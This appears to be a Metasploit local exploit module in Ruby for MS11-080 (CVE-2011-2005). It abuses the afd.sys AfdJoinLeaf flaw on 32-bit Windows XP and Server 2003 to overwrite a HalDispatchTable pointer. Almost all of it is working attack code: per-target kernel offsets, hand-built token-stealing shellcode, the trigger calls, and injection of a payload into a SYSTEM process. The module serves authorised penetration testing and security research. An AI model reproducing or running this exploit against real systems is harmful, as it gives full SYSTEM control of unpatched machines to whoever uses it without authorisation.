## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking # Average because this module relies on memory corruption within the # kernel, this is inherently dangerous. Also if the payload casues # the system process that it was injected into to die then it's also # possible that the system may become unstable. include Msf::Exploit::Local::WindowsKernel include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info = {}) super(update_info(info, { 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation', 'Description' => %q( This module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability. ), 'License' => MSF_LICENSE, 'Author' => [ 'Matteo Memelli', # original exploit and all the hard work 'Spencer McIntyre' # MSF module ], 'Arch' => [ARCH_X86], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ ['Automatic', {}], ['Windows XP SP2 / SP3', { 'HaliQuerySystemInfo' => 0x16bba, 'HalpSetSystemInformation' => 0x19436, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ], ['Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, 'HalpSetSystemInformation' => 0x21c60, '_KPROCESS' => "\x38", '_TOKEN' => "\xd8", '_UPID' => "\x94", '_APLINKS' => "\x98" } ] ], 'References' => [ %w(CVE 2011-2005), %w(OSVDB 76232), %w(EDB 18176), %w(MSB MS11-080), %w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/) ], 'DisclosureDate' => 'Nov 30 2011', 'DefaultTarget' => 0 })) end # Function borrowed from smart_hashdump def get_system_proc # Make sure you got the correct SYSTEM Account Name no matter the OS Language local_sys = resolve_sid('S-1-5-18') system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" # Processes that can Blue Screen a host if migrated in to dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe'] session.sys.process.processes.each do |p| # Check we are not migrating to a process that can BSOD the host next if dangerous_processes.include?(p['name']) next if p['pid'] == session.sys.process.getpid next if p['pid'] == 4 next if p['user'] != system_account_name return p end end def exploit if sysinfo['Architecture'] =~ /wow64/i print_error('Running against WOW64 is not supported') return elsif sysinfo['Architecture'] =~ /x64/ print_error('Running against 64-bit systems is not supported') return end mytarget = target if mytarget.name =~ /Automatic/ os = sysinfo['OS'] mytarget = targets[1] if os =~ /windows xp/i mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i) if (os =~ /\.net server/i) && (os =~ /service pack 2/i) mytarget = targets[2] end if mytarget.name =~ /Automatic/ print_error('Could not identify the target system, it may not be supported') return end print_status("Running against #{mytarget.name}") end if is_system? print_error('This meterpreter session is already running as SYSTE') return end this_proc = session.sys.process.open base_addr = 0x1001 result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0) socket = result['return'] irpstuff = rand_text_alpha(8) irpstuff << "\x00\x00\x00\x00" irpstuff << rand_text_alpha(4) irpstuff << "\x01\x00\x00\x00" irpstuff << "\xe8\x00\x34\xf0\x00" irpstuff << rand_text_alpha(231) unless this_proc.memory.writable?(0x1000) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE') end unless this_proc.memory.writable?(0x1000) print_error('Failed to properly allocate memory') return end this_proc.memory.write(0x1000, irpstuff) haldispatchtable = find_haldispatchtable return if haldispatchtable.nil? halbase = find_sys_base('hal.dll')[0] hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo'] hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation'] print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}") print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}") #### Exploitation #### shellcode_address_dep = 0x0002071e shellcode_address_nodep = 0x000207b8 padding = make_nops(2) backup_token = 0x20900 restore_ptrs = "\x31\xc0" restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V') restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V') restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V') restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') restore_token = "\x52" restore_token << "\x33\xc0" restore_token << "\x64\x8b\x80\x24\x01\x00\x00" restore_token << "\x8b\x40" + mytarget['_KPROCESS'] restore_token << "\x8b\x15" + [backup_token].pack('V') restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" restore_token << "\x5a" restore_token << "\xc2\x10" shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token) this_proc.memory.write(shellcode_address_dep, shellcode) this_proc.memory.write(shellcode_address_nodep, shellcode) this_proc.memory.protect(0x00020000) addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV') result = session.railgun.ws2_32.connect(socket, addr, addr.length) if result['return'] != 0xffffffff print_error('The socket is not in the correct state') return end print_status('Triggering AFDJoinLeaf pointer overwrite...') session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0) session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) unless is_system? print_error('Exploit failed') return end proc = get_system_proc print_status("Injecting the payload into SYSTEM process: #{proc['name']}") unless execute_shellcode(payload.encoded, nil, proc['pid']) print_error('An error occurred while executing the payload') end # Restore the token because apparently BSODs are frowned upon print_status('Restoring the original token...') shellcode = padding + restore_ptrs + restore_token this_proc.memory.write(shellcode_address_dep, shellcode) this_proc.memory.write(shellcode_address_nodep, shellcode) session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0) session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) end end